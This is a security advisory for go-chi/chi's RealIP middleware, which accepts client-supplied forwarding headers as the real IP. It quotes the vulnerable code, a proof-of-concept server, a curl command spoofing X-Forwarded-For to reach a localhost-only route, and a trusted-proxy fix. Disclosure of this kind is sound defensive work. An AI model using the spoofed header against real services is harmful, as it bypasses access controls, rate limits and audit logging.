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GHSA-rjr7-jggh-pgcp
No affected components available
Summary
realip middleware in go-chi/chi trusts headers like x-forwarded-for without checking them, so attackers can fake their ip and bypass rate limits or access controls
Details
the vuln is in middleware/realip.go , the realIP() function pulls IPs straight from client headers and replaces r.RemoteAddr without checking if the request came from a trusted proxy
func realIP(r *http.Request) string {
var ip string
if tcip := r.Header.Get(trueClientIP); tcip != "" {
ip = tcip // controlled by attacker
} else if xrip := r.Header.Get(xRealIP); xrip != "" {
ip = xrip // controlled by attacker
} else if xff := r.Header.Get(xForwardedFor); xff != "" {
ip, _, _ = strings.Cut(xff, ",") // controlled by attacker
}
// ...
return ip
}
no trusted proxy cidr check in place, any client can send these headers
PoC
create a server with chi and use realip middleware
package main
import (
"fmt"
"net/http"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
r := chi.NewRouter()
r.Use(middleware.RealIP)
r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
// ip-based access control got bypassed
if r.RemoteAddr == "127.0.0.1" {
w.Write([]byte("SECRET ADMIN DATA"))
return
}
http.Error(w, "Forbidden", 403)
})
http.ListenAndServe(":8080", r)
}
spoofed the ip to bypass access control
curl -H "X-Forwarded-For: 127.0.0.1" http://localhost:8080/admin
Impact
- ip-based access control bypass lets attackers reach restricted endpoints
- rate limiting bypass lets attackers avoid limits by rotating spoofed ips
- audit logs show fake ips picked by attacker instead of real ones
- attackers can get around geo ip restrictions
Remediation Recommendation
validate proxy cidr first before trusting forwarded ip headers
// add your reverse proxy ip addresses here
var trustedProxies = []net.IPNet{
{IP: net.ParseIP("10.0.0.0"), Mask: net.CIDRMask(8, 32)},
{IP: net.ParseIP("172.16.0.0"), Mask: net.CIDRMask(12, 32)},
{IP: net.ParseIP("192.168.0.0"), Mask: net.CIDRMask(16, 32)},
}
func isTrustedProxy(ip net.IP) bool {
for _, cidr := range trustedProxies {
if cidr.Contains(ip) {
return true
}
}
return false
}
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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